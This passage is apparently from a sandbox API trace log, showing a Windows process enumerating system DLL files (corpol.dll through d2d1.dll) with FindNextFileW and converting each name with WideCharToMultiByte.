lpUsedDefaultChar=0x0) returned 11 [0031.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONSOLE.DLL", cchWideChar=11, lpMultiByteStr=0x1d7c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CONSOLE.DLL", lpUsedDefaultChar=0x0) returned 11 [0031.347] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb09bc845, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xb09bc845, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865fa480, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="corpol.dll", cAlternateFileName="")) returned 1 [0031.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CORPOL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0031.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CORPOL.DLL", cchWideChar=10, lpMultiByteStr=0x1d7c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CORPOL.DLL", lpUsedDefaultChar=0x0) returned 10 [0031.347] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3ca9d39, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3ca9d39, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3ca9d39, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9ca00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="CPFilters.dll", cAlternateFileName="")) returned 1 [0031.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CPFILTERS.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0031.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CPFILTERS.DLL", cchWideChar=13, lpMultiByteStr=0x1d7c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CPFILTERS.DLL", lpUsedDefaultChar=0x0) returned 13 [0031.347] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9da9522d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9da9522d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9da9522d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="credssp.dll", cAlternateFileName="")) returned 1 [0031.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CREDSSP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0031.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CREDSSP.DLL", cchWideChar=11, lpMultiByteStr=0x1d7c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CREDSSP.DLL", lpUsedDefaultChar=0x0) returned 11 [0031.347] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d09d5fb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d09d5fb, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d0c375b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x29400, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="credui.dll", cAlternateFileName="")) returned 1 [0031.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CREDUI.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0031.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CREDUI.DLL", cchWideChar=10, lpMultiByteStr=0x1d7c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CREDUI.DLL", lpUsedDefaultChar=0x0) returned 10 [0031.347] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x435139, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x435139, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x866dd550, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2461b, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="crtdll.dll", cAlternateFileName="")) returned 1 [0031.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRTDLL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0031.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRTDLL.DLL", cchWideChar=10, lpMultiByteStr=0x1d7c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRTDLL.DLL", lpUsedDefaultChar=0x0) returned 10 [0031.347] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89b04660, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x89b04660, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x89b76a81, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x119c00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="crypt32.dll", cAlternateFileName="")) returned 1 [0031.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPT32.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0031.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPT32.DLL", cchWideChar=11, lpMultiByteStr=0x1d7c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPT32.DLL", lpUsedDefaultChar=0x0) returned 11 [0031.347] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54554db9, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x54554db9, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x86704650, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="cryptbase.dll", cAlternateFileName="")) returned 1 [0031.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTBASE.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0031.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTBASE.DLL", cchWideChar=13, lpMultiByteStr=0x1d7c288, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTBASE.DLL", lpUsedDefaultChar=0x0) returned 13 [0031.348] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8dce1c44, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8dce1c44, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="cryptdlg.dll", cAlternateFileName="")) returned 1 [0031.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTDLG.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0031.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTDLG.DLL", cchWideChar=12, lpMultiByteStr=0x1d7c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTDLG.DLL", lpUsedDefaultChar=0x0) returned 12 [0031.348] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x360536d1, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x360536d1, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe600, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="cryptdll.dll", cAlternateFileName="")) returned 1 [0031.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTDLL.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0031.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTDLL.DLL", cchWideChar=12, lpMultiByteStr=0x1d7c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTDLL.DLL", lpUsedDefaultChar=0x0) returned 12 [0031.348] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c473190, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3c473190, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xd800, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="cryptext.dll", cAlternateFileName="")) returned 1 [0031.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTEXT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0031.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTEXT.DLL", cchWideChar=12, lpMultiByteStr=0x1d7c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTEXT.DLL", lpUsedDefaultChar=0x0) returned 12 [0031.348] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x382fd648, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x382fd648, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x19400, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="cryptnet.dll", cAlternateFileName="")) returned 1 [0031.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTNET.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0031.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTNET.DLL", cchWideChar=12, lpMultiByteStr=0x1d7c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTNET.DLL", lpUsedDefaultChar=0x0) returned 12 [0031.348] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde3e9ca5, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xde3e9ca5, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86750140, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x13400, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="cryptsp.dll", cAlternateFileName="")) returned 1 [0031.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTSP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0031.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTSP.DLL", cchWideChar=11, lpMultiByteStr=0x1d7c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTSP.DLL", lpUsedDefaultChar=0x0) returned 11 [0031.348] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d61e8e5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d61e8e5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d644a45, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x21400, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="cryptsvc.dll", cAlternateFileName="")) returned 1 [0031.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTSVC.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0031.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTSVC.DLL", cchWideChar=12, lpMultiByteStr=0x1d7c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTSVC.DLL", lpUsedDefaultChar=0x0) returned 12 [0031.348] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d513f43, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d513f43, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d513f43, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf5000, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="cryptui.dll", cAlternateFileName="")) returned 1 [0031.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTUI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0031.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTUI.DLL", cchWideChar=11, lpMultiByteStr=0x1d7c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTUI.DLL", lpUsedDefaultChar=0x0) returned 11 [0031.348] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f6e225d, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3f6e225d, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86750140, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14e00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="cryptxml.dll", cAlternateFileName="")) returned 1 [0031.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTXML.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0031.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTXML.DLL", cchWideChar=12, lpMultiByteStr=0x1d7c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTXML.DLL", lpUsedDefaultChar=0x0) returned 12 [0031.349] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b2f83ed, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b2f83ed, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b3446ad, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x8800, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="cscapi.dll", cAlternateFileName="")) returned 1 [0031.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCAPI.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0031.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCAPI.DLL", cchWideChar=10, lpMultiByteStr=0x1d7c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CSCAPI.DLL", lpUsedDefaultChar=0x0) returned 10 [0031.349] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b1eda4b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b1eda4b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b2f83ed, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="cscdll.dll", cAlternateFileName="")) returned 1 [0031.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCDLL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0031.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCDLL.DLL", cchWideChar=10, lpMultiByteStr=0x1d7c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CSCDLL.DLL", lpUsedDefaultChar=0x0) returned 10 [0031.349] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa28fc75d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa28fc75d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa29228be, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="cscobj.dll", cAlternateFileName="")) returned 1 [0031.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCOBJ.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0031.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCOBJ.DLL", cchWideChar=10, lpMultiByteStr=0x1d7c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CSCOBJ.DLL", lpUsedDefaultChar=0x0) returned 10 [0031.349] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x304641, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x304641, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x867e7720, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6a00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="ctl3d32.dll", cAlternateFileName="")) returned 1 [0031.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CTL3D32.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0031.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CTL3D32.DLL", cchWideChar=11, lpMultiByteStr=0x1d7c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CTL3D32.DLL", lpUsedDefaultChar=0x0) returned 11 [0031.349] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd55d8064, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xd55d8064, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x828158e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x36200, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="C_G18030.DLL", cAlternateFileName="")) returned 1 [0031.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_G18030.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0031.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_G18030.DLL", cchWideChar=12, lpMultiByteStr=0x1d7c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C_G18030.DLL", lpUsedDefaultChar=0x0) returned 12 [0031.349] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5e9f149, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xd5e9f149, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8283c9e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="C_IS2022.DLL", cAlternateFileName="")) returned 1 [0031.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_IS2022.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0031.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_IS2022.DLL", cchWideChar=12, lpMultiByteStr=0x1d7c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C_IS2022.DLL", lpUsedDefaultChar=0x0) returned 12 [0031.349] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87bc6567, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x87bc6567, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87bec6c7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="C_ISCII.DLL", cAlternateFileName="")) returned 1 [0031.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_ISCII.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0031.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_ISCII.DLL", cchWideChar=11, lpMultiByteStr=0x1d7c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C_ISCII.DLL", lpUsedDefaultChar=0x0) returned 11 [0031.349] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96dfa5a5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x96dfa5a5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x96f51207, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb4a00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="d2d1.dll", cAlternateFileName="")) returned 1 [0031.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D2D1.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 